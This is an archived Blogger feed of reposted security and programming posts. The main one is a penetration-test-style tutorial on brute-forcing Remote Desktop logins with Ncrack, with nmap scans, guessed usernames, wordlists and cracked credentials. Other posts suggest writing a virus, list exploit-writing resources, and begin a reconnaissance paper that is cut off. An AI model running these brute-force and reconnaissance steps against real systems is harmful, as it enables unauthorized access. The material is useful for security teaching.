<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3260786454834177359</id><updated>2012-01-12T19:18:50.025-08:00</updated><title type='text'>IT_Solution for Learning</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default?start-index=101&amp;max-results=100'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>116</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3262262921496506479</id><published>2012-01-12T19:18:00.000-08:00</published><updated>2012-01-12T19:18:50.042-08:00</updated><title type='text'>Ncrack – Remote Desktop Brute Force Tutorial</title><content type='html'>The Remote Desktop Protocol is often underestimated as a possible way to break into a system during a penetration test. Other services, such SSH and VNC are more likely to be targeted and exploited using a remote brute-force password guessing attack. For example, let’s suppose that we are in the middle of a penetration testing session at the “MEGACORP” offices and we already tried all the available remote attacks with no luck. We tried also to ARP poisoning the LAN looking to get user names and passwords, without succeeding. From a previus nmap scan log we found a few Windows machines with the RDP port open and we decided to investigate further this possibility. First of all we need some valid usernames in order to guess only the passwords rather than both. We found the names of the IT guys on varius social networking websites. Those are the key IT staff:&lt;blockquote&gt;jessie taglejulio feaginshugh duchenedarmella martislakisha mcquainted restrepokelly missildine&lt;/blockquote&gt;Didn’t take long to create valid usernames following the common standard of using the first letter of the name and the entire surname.&lt;blockquote&gt;jtaglejfeaginshduchenedmartislmcquaintrestrepokmissildine&lt;/blockquote&gt;Software required:Linux machine, preferably Ubuntu.nmap and terminal server client, sudo apt-get install tsclient nmap  build-essential checkinstall libssl-dev libssh-devAbout NcrackNcrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords. Security professionals also rely on Ncrack when auditing their clients. Ncrack’s features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap’s and many more. Protocols supported include RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, and telnet .http://nmap.org/ncrack/Installation&lt;blockquote&gt;wget http://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gzmkdir /usr/local/share/ncracktar -xzf ncrack-0.4ALPHA.tar.gzcd ncrack-0.4ALPHA./configuremakecheckinstalldpkg -i ncrack_0.4ALPHA-1_i386.deb[/pre] &lt;strong&gt;Information gathering&lt;/strong&gt; Let’s find out what hosts in a network are up, and save them to a text list. The  regular expression will parse and extract only the ip addresses from the scan. Nmap ping scan, go no further than determining if host is online&lt;/blockquote&gt;&lt;blockquote&gt;nmap  -sP 192.168.56.0/24 | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' &gt; 192.168.56.0.txt&lt;/blockquote&gt;Nmap fast scan with input from list of hosts/networks&lt;blockquote&gt;nmap -F -iL 192.168.56.0.txtStarting Nmap 5.21 ( http://nmap.org ) at 2011-04-10 13:15 CEST Nmap scan report for 192.168.56.10Host is up (0.0017s latency).Not shown: 91 closed portsPORT     STATE SERVICE88/tcp   open  kerberos-sec135/tcp  open  msrpc139/tcp  open  netbios-ssn389/tcp  open  ldap445/tcp  open  microsoft-ds1025/tcp open  NFS-or-IIS1026/tcp open  LSA-or-nterm1028/tcp open  unknown3389/tcp open  ms-term-servMAC Address: 08:00:27:09:F5:22 (Cadmus Computer Systems) Nmap scan report for 192.168.56.101Host is up (0.014s latency).Not shown: 96 closed portsPORT     STATE SERVICE135/tcp  open  msrpc139/tcp  open  netbios-ssn445/tcp  open  microsoft-ds3389/tcp open  ms-term-servMAC Address: 08:00:27:C1:5D:4E (Cadmus Computer Systems) Nmap done: 55 IP addresses (55 hosts up) scanned in 98.41 seconds&lt;/blockquote&gt;From the log we can see two machines with the microsoft terminal service port (3389) open, looking more in depth to the services available on the machine 192.168.56.10 we can assume that this machine might be the domain controller, and it’s worth tryingto pwn it.At this point we need to create a file (my.usr) with the probable usernames previously gathered.&lt;blockquote&gt;vim my.usr jtaglejfeaginshduchenetrestrepokmissildine&lt;/blockquote&gt;We need also a file (my.pwd) for the password, you can look on the internet for common passwords and wordlists.&lt;blockquote&gt;vim my.pwd somepasswordpassw0rdblahblah12345678iloveyoutrustno1&lt;/blockquote&gt;At this point we run Ncrack against the 192.168.56.10 machine.&lt;blockquote&gt;ncrack -vv  -U my.usr -P my.pwd 192.168.56.10:3389,CL=1 Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-10 17:24 CEST Discovered credentials on rdp://192.168.56.10:3389 'hduchene' 'passw0rd'rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.Discovered credentials on rdp://192.168.56.10:3389 'jfeagins' 'blahblah'rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.Discovered credentials on rdp://192.168.56.10:3389 'jtagle' '12345678'rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.Discovered credentials on rdp://192.168.56.10:3389 'kmissildine' 'iloveyou'rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.Discovered credentials on rdp://192.168.56.10:3389 'trestrepo' 'trustno1' rdp://192.168.56.10:3389 finished. Discovered credentials for rdp on 192.168.56.10 3389/tcp:192.168.56.10 3389/tcp rdp: 'hduchene' 'passw0rd'192.168.56.10 3389/tcp rdp: 'jfeagins' 'blahblah'192.168.56.10 3389/tcp rdp: 'jtagle' '12345678'192.168.56.10 3389/tcp rdp: 'kmissildine' 'iloveyou'192.168.56.10 3389/tcp rdp: 'trestrepo' 'trustno1' Ncrack done: 1 service scanned in 98.00 seconds.Probes sent: 51 | timed-out: 0 | prematurely-closed: 0 Ncrack finished.&lt;/blockquote&gt;We can see from the Ncrack results that all the user names gathered are valid, and also we were able to crack the login credential since they were using some weak passwords. Four of the IT staff have some kind of restrictions on the machine, except hduchene that might be the domain administrator, let’s find out.Run the terminal server client from the Linux boxtsclient 192.168.56.10 use Hugh Duchene credential ‘hduchene’ ‘passw0rd’ and BINGO !!!Final remarks.For the penetration testers: don’t give up at first hurdle, there’s always another way to break in :-) .For the IT staff: Lack of password policy enforcing complexity and strength lead to a disaster.reference:&lt;a href="http://www.coresec.org/2011/05/12/ncrack-remote-desktop-brute-force-tutorial/"&gt;Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3262262921496506479?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3262262921496506479/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2012/01/ncrack-remote-desktop-brute-force.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3262262921496506479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3262262921496506479'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2012/01/ncrack-remote-desktop-brute-force.html' title='Ncrack – Remote Desktop Brute Force Tutorial'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3419184372725563680</id><published>2011-11-04T20:56:00.000-07:00</published><updated>2011-11-04T20:56:48.087-07:00</updated><title type='text'>Amazon Cloud EC2 Free VPS Setup</title><content type='html'>First things first. When I say free I mean it’s free for a year. You will have to use the micro-instance, which is a 10gb HDD, 613mb ram and I quote &lt;blockquote&gt;Up to 2 EC2 Compute Units (for short periodic bursts)&lt;/blockquote&gt;(Don’t ask me the mhz on that….) Its plenty fast enough for terminal use, VNC for a basic desktop, programming etc….You will need a credit card and a cell phone. A visa gift card and a prepaid phone will work.Lets sign up.The signup process is pretty straight forward. They will call your cell phone to have you put in a pin number. If you do this wrong to many times you will be blocked from signing up for 24 hours. Once the sign up process is complete sign in and click the EC2 tab.&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-150x150.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="150" width="150" src="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-150x150.png" /&gt;&lt;/a&gt;&lt;/div&gt;You may get pop ups that ask if you want to stop a script, click no, the AWS console can be a bit slow in loading.Click ‘Launch Instance’&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-1-150x150.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="150" width="150" src="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-1-150x150.png" /&gt;&lt;/a&gt;&lt;/div&gt;The instances with gold stars are the free micro tier instances and the ones you should pick unless you want to pay. You can also browse under ‘Community AMIs’ for other distributions. Lets pick the ‘Basic 32 bit Amazon Linux AMI’. Click Select.&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-2-150x150.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="150" width="150" src="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-2-150x150.png" /&gt;&lt;/a&gt;&lt;/div&gt;You can only have 1 instance at a time for the free setup and it can only be a micro-instance. Click ‘Continue’.&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-3-150x150.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="150" width="150" src="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-3-150x150.png" /&gt;&lt;/a&gt;&lt;/div&gt;Place a check in the ‘Termination Protection’. Terminating an instance deletes the instance completely. The protection basically stops you from accidentally deleting it. On the next screen name your instance and ‘Continue’&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-4-150x150.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="150" width="150" src="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-4-150x150.png" /&gt;&lt;/a&gt;&lt;/div&gt;The ‘Key Pair’ is the only way you will be able to SSH into your instance at the start. You can change your sshd config later so you dont have to keep the key around. You cannot download this key again so make sure you save it somewhere safe on this screen. Create a new key pair and select ‘Continue’. &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-5-150x150.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="150" width="150" src="http://www.get-root.com/wp-content/uploads/2011/10/Screenshot-AWS-Management-Console-Google-Chrome-5-150x150.png" /&gt;&lt;/a&gt;&lt;/div&gt;A ‘security group’ is essentially the firewall configuration. Choose the default one. It will already have the ports open for SSH.Your new instances is now running and you can connect to it. For SSH connection instructions right click on your instance and select ‘Connect’. Make sure to change the password when you connect for the first time.Notes:‘Elastic IPs’ on the left side of the console are essentially static IPs. I usually assign one to my instance so I dont have to remember the long hostname.Not all community AMI instances connect the same. Make sure to check the ‘Connect’ box for each instance for specific instructions.You can check for any charges to your card by clicking your name in the top right and select ‘Account Activity’Let me know if you have any trouble or need extra help.reference : http://www.get-root.com/?p=66&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3419184372725563680?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3419184372725563680/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/11/amazon-cloud-ec2-free-vps-setup.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3419184372725563680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3419184372725563680'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/11/amazon-cloud-ec2-free-vps-setup.html' title='Amazon Cloud EC2 Free VPS Setup'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-8436371760504216341</id><published>2011-08-17T11:04:00.000-07:00</published><updated>2011-08-17T11:14:31.429-07:00</updated><title type='text'>10 fun ways to program (for beginners)</title><content type='html'>When most of us are just beginning to program we can become intimidated  with language syntax and logic. It seems the only way to learn is paging through daunting 300 page books and trying to think of somehow applying this stuff in our own programs…&lt;br /&gt;Well learning to program doesn’t have to be intimidating at all, it can be down right fun if you‘re truly passionate about the code you write. That’s exactly what this article’s here for, to give you ideas for great projects that will spark your passion and skyrocket your skills in the fastest time.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1. Don’t switch languages or learn two languages at once:&lt;br /&gt;    With so many programming languages out there and people raving as to which programming language is “best”, you might be tempted to change the one you’re studying every week or try to learn more than one at a time. Not only is this a bad idea but it can get boring fast! How fun can it be, never mastering a language and never creating programs like the one(s) in your dreams? Once you really start focusing on one language (though it may take months) you will come to a point were you have the capability to accomplish many programming tasks that you set your mind to; you will even understand the logic of programming and be able to apply it while learning another language. Just chillax and the skillz will come.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;2. Have any hobbies other than programming?:&lt;br /&gt;    Perhaps you play chess, piano, or w/e. Creating programs that compliment your interest in other areas of life are a sure fire way to have fun programming and accelerate the learning processes. As an example lets say you’re really into piano, in order to play piano most people need sheet music. Instead of having to go out and search through the internet for sheet music and having to organize it in a folder maybe you can write a program to do it for you. It’s not as hard as it sounds, and if you’re interested, it’s that much easier due to your initial whole hearted approach.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;3. Make a game:&lt;br /&gt;    This ones a given. You like games, they like games, hell even I like games. So why not make your own? You’ve probably had ideas for games but never the tools to bring these to fruition. Making a game is relatively easy across a broad spectrum of programming languages, many have their own game libraries (like pythons pygame module). My advice is start out simple because simple, elegant, games can be just as fun as any self respecting xbox360 game (chess for example). This area really allows you to stretch your creative muscles as well; although opinion may differ, programming is an art form and like any other requires a certain amount of creative thinking to be successful.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;4. Make an IRC bot:&lt;br /&gt;    Definition (wiki): “An IRC bot is a set of scripts or an independent program that connects to Internet Relay Chat as a client, and so appears to other IRC users as another user. An IRC bot differs from a regular client in that instead of providing interactive access to IRC for a human user, it performs automated functions.”&lt;br /&gt;Both making an IRC bot and spending time on IRC are great ways for a beginner to evolve as a programmer while having loads of fun. If you’ve never heard of IRC before, it’s basically a place (chat client/server model) where many people knowledgeable in computers/networking/security (and many other areas as well) like to hang out. By  using IRC you’re exposing yourself to a plethora of expert knowledge.. Given that you try not to seem like an idiot of course. An IRC bot is like any other user of IRC except they’re not human. An IRC bot takes commands/conditions and responds accordingly; you’ve probably seen bots at work before, they’re the ones that automatically ban fruit hats who think spamming is cool.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;5. Make it personal/make your life easier:&lt;br /&gt;    One of the easiest ways to ensure you remain interested and have fun in programming is by taking tedious tasks you perform  often, and automating them. By doing this you are making your life easier and programming will undoubtedly earn your respect. Say for example you usually rename your downloaded files in a specified directory every other Wednesday according to a preferred system (perhaps a file like “epic movie.avi” will be renamed “epic_mov45.avi”). Usually this might take you anywhere from 10 to 30 minutes (or more) depending on how many files you’ve downloaded in the last two weeks, however after making a program to automate this task it will take less than a second!&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;6. Develop for other people:&lt;br /&gt;    Making programs for people other than yourself often rewards us with a  sense of importance. Not only does it feel good to write software that other people use, you will gain many valuable programming related skills such as version control and writing program documentation. This is a great chance to get real world experience. Perhaps you can find a local non profit organization that would welcome programmers willing to work for no charge; maybe it would make your friends, family, or collogues  lives easier if you automated a task for them. If you’re interested in working with other people, you might even want to check out preexisting open source projects. The experience will be rich and exciting, especially the first time you try it.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;7. Have a robot do your math homework:&lt;br /&gt;    Okay maybe not a robot with moving arms, but you can still write programs that automate an extensive portion of the work you have to do assuming you’re a high school student. Teachers have a tendency to assign a crap load of homework and somehow retain the ability of teaching nothing at the same time. Obviously it would be beneficial for you to write programs that solve trivial homework stuff such as formulas so you can spend more time learning real math elsewhere.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;8.  Choose a fun programming language:&lt;br /&gt;    This one’s a little ticky; there’s no hard and fast rule as to which programming language is the most fun or even more fun than others. However there are certainly programming languages which are hardly fun at all! So in this case I will Simply list a few of the languages I’ve heard are pretty fun:&lt;br /&gt;&lt;br /&gt;LUA&lt;br /&gt;Python (I use this one myself)&lt;br /&gt;C/C++&lt;br /&gt;Perl&lt;br /&gt;Before you begin learning a language seriously, it’s essential that you choose a language you’re going to enjoy for the long haul (because it could take months or years before you “really” learn it). This helps ensure that you remain interested and experience minimal frustration.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;9. Make a virus:&lt;br /&gt;    Alright this one might be the reason you wanted to learn programming in the first place. Everyone has a bit of a dark side, and making a virus can be a really fun way of expressing it. If you choose to make a virus you should know that it’s illegal to test it on any system other than your own (using virtual machines are a great idea for this) and you really shouldn’t have any malicious intents either. Writing viruses are illustrative in the sense that you will closely be working with your targeted operating system and the system library for your language (many have one). I suggest that you don’t attempt this one if you’re not smart/stable enough to be responsible for your actions, otherwise you’re going to be sorry.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;10. Project Euler:&lt;br /&gt;    Last but certainly not least is Project Euler! I personally find this to be one of the funniest ways to apply my programming skills above all else. Project Euler is a website that poses problems that you must solve using any programming language (or even paper and pencil if you’re up to it) and a bit of math know how. Project Euler can be frustrating at first (especially if you’re not a very experienced programmer or you lack in math ability) however if you press forward I can guarantee the rewards you earn will outweigh any and all frustration you come to face. After solving a respectable amount of problems (~25) you will probably be an exceptionally better programming (and even math). You don’t have to take my word for it though, check out http://projecteuler.net and remember to have fun :}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;reference: http://packetfire.org/content/10-fun-ways-program-beginners&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-8436371760504216341?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/8436371760504216341/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/08/10-fun-ways-to-program-for-beginners.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/8436371760504216341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/8436371760504216341'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/08/10-fun-ways-to-program-for-beginners.html' title='10 fun ways to program (for beginners)'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-4741094793339782712</id><published>2011-07-18T18:40:00.000-07:00</published><updated>2011-07-18T18:41:39.489-07:00</updated><title type='text'>Exploit Writing</title><content type='html'>Writing exploits is considered difficult and something that requires a great deal of effort. I had this similar notion in mind; which was unfortunately what people kept telling me. Things like you need to know how to code really well, u need to know in-depth assembly  blah blah blah…Not very true..Read on…&lt;br /&gt;&lt;br /&gt;How difficult is it ?&lt;br /&gt;Well the basic prequisites would be to know a bit of coding, dont get scared just the basic stuff. Pick one of the scripting languages like Perl or Python coz they’r really easy. You need to get some understanding of x86 memory architecture: heap,stack,registers etc. Most exploits are targeted at Windows as most of the bugs that researchers find exist in Windows. So check out windows memory internals also. Having knowledge of assembly language is certainly a plus but you will pick it up IMO when you start writing exploits. Also ensure you have a proper understanding of Buffer Overflows in general. Read Smashing the Stack for Fun and Profit by Aleph One (http://www.phrack.com/issues.html?issue=49&amp;id=14) which appeared in Phrack Magazine Issue 49, although old is still one of the best resources out there.&lt;br /&gt;&lt;br /&gt;Why write exploits ?&lt;br /&gt;You’r conducting a pen-test or you’r a security researcher and you need to reliably exploit a particular vulnerability you have found. Publically available exploits may not be properly coded. Most exploits for example use return addresses and these addresses differ from one OS/service pack to another. So you cant just fire away a public exploit and crash your client’s servers. Making your own exploit also means that you can embed your own choice of payload (Msfpayload in Metasploit helps here)&lt;br /&gt;&lt;br /&gt;Lab requirements ?&lt;br /&gt;Ideally my choice would be to have a Linux based machine such as Back-Track (attacker) with a text editor and ur language of choice installed. The victim machine (for remote exploits) can be a virtual machine running windows in VMware,VirtualBox etc. You may need to write local exploits on the victim machine so perl/python etc may have be installed there as well. You will also need Debuggers (Olly or Immunity dbg’s are the best) and the vulnerable software installed. Your final exploit is just basically a long string so once you become a pro all you really need is a text editor to make that string.&lt;br /&gt;&lt;br /&gt;How to learn ?&lt;br /&gt;There is a lot of stuff now on the Internet. It wasnt the case earlier but many researchers have published tutorials,videos etc on how to write reliable exploits using various techniques. One of the best places you can start is to look at corelanc0d3r’s blog on writing exploits : http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/It’s very detailed and presented really simple. Anybody can pick this up. But the important thing is you get your hands dirty by checking out all the stuff on your own. Another resource on the internet is the exploit writing class videos by Dino Dai Zovi :http://pentest.cryptocity.net/exploitation/ Dino is a well know researcher and his video is pretty basic and is a good place to start for beginners. There are also many videos avaliable on Securitytube : http://securitytube.net/ It’s a site started by Vivek Ramachandran and has loads of info on Assembly,buffer overflows primers etc and lots of other info-sec related topics. This  by no means are the complete set of resources available on the internet. Google and you’ll find a ton of info on writing exploits.&lt;br /&gt;&lt;br /&gt;What  Courses ?&lt;br /&gt;Offensive security’s OSCP course is really a great course but only covers a small portion on how to write exploits.&lt;br /&gt;They do have advanced courses so check that out too: http://www.offensive-security.com/&lt;br /&gt;What to read ?&lt;br /&gt;&lt;br /&gt;Finally do some reading. The Shellcoder’s handbook is a really good book so check it out. Others include : Hacking – The Art of Exploitation, 2nd Edition ,The Art of Assembly Language by Randall Hyde, Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton etc.&lt;br /&gt;&lt;br /&gt;I hope this info has helped…if your a n00b at writing exploits this should help you fight your way to writing&lt;br /&gt;exploits on your own. So all the best !&lt;br /&gt;&lt;br /&gt;reference:http://psychsec.wordpress.com/2010/06/05/exploit-writing/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-4741094793339782712?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/4741094793339782712/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/07/exploit-writing.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/4741094793339782712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/4741094793339782712'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/07/exploit-writing.html' title='Exploit Writing'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7492585211877453426</id><published>2011-06-22T21:18:00.000-07:00</published><updated>2011-06-22T21:20:53.750-07:00</updated><title type='text'>Strategic Scanning and Assessments of Remote Hosts (SSARH)</title><content type='html'>Strategic Scanning and Assessments of Remote Hosts (SSARH)&lt;br /&gt;Born on: 06.14.99 &lt;br /&gt;[Unix File]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;INTRODUCTION:&lt;br /&gt;&lt;br /&gt; This paper is being written for security administrators in hopes that they&lt;br /&gt;will be able to notice security flaws in their networks and systems.  Be it known that&lt;br /&gt;this paper is NOT a hacking text and we will not go into the topic of compromise, but &lt;br /&gt;this will show our target audience how to begin a strategic attack on a remote host.&lt;br /&gt;We will cover basic assessment techniques involving open ports, RPC Services, open mount points,&lt;br /&gt;and various ways to 'gain' information on your target before the actual attempt at compromise.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;WHY:&lt;br /&gt;&lt;br /&gt; I guess we need to get the obvious out of the way.  Why attack a remote host is the first question you &lt;br /&gt;should ask yourself (out of boredom is not a valid reason).  I could probably go on and on about this but what &lt;br /&gt;im trying to get you to ask yourself is 'IS IT WORTH COMPROMISING'?  You need to look at the long term not the &lt;br /&gt;short term affect.  Gaining remote access to a government box or a 'high profile site' will carry some heavy penalties &lt;br /&gt;if you are caught.  So lets all think before we compromise.... ok?  Be intelligent about your decisions please.&lt;br /&gt;All examples given in this paper should be tested on a local network with permission from the powers that be.&lt;br /&gt;&lt;br /&gt;BRIEFING:&lt;br /&gt;&lt;br /&gt; Once you have found a remote host (target) that you would like to learn more about you are ready to move on. &lt;br /&gt;Before we proceed with any technical information first let me define two types of attacks.  A Passive attack is an &lt;br /&gt;attack that does not 'touch' a targets network directly so you are not committed to follow through with the compromise&lt;br /&gt;at that time.  The next definition is the Active attack which does 'touch' the system and there is a very good &lt;br /&gt;possibility that your tracks will be left in the logs therefore, you are then commited to following through with the &lt;br /&gt;compromise to ensure that you are not found.  Now lets move on to the more technical side of this file.  First, I would &lt;br /&gt;suggest checking out their webpage and snoop around to see if you can find any of the following:&lt;br /&gt;&lt;br /&gt;1.  Email addresses usually found at the bottom of a webpage as a contact.&lt;br /&gt;2.  Look for the 'OS' stamp on a webpage.  Many admins/owners like to&lt;br /&gt;    display their love for their Operating System with little graphics such as 'Run on Linux',&lt;br /&gt;    'FreeBsd', 'Apache', 'IIS'..etc..etc&lt;br /&gt;3.  Does their website look 'professional'?&lt;br /&gt;4.  Do they provide any information about their network setup? (Yes, some are stupid enough &lt;br /&gt;    to provide network maps online.. duh!)&lt;br /&gt;5.  Do they provide an online X.500 query gateway online?  This is where you can look up &lt;br /&gt;    email address's, phone numbers, and other various information about the users/employees of&lt;br /&gt;    the company, organization, and the server.&lt;br /&gt;6.  Do they provide an online telephone directory in which you type in&lt;br /&gt;    names of people and get phone numbers and locations (which is great for Social Engineering) or&lt;br /&gt;    visa-versa.&lt;br /&gt;7.  Anything else that would benefit in learning more about the remote host.&lt;br /&gt;&lt;br /&gt;-Now that we have scanned over the web pages of a potential target we can then proceed&lt;br /&gt;into the next phase of information 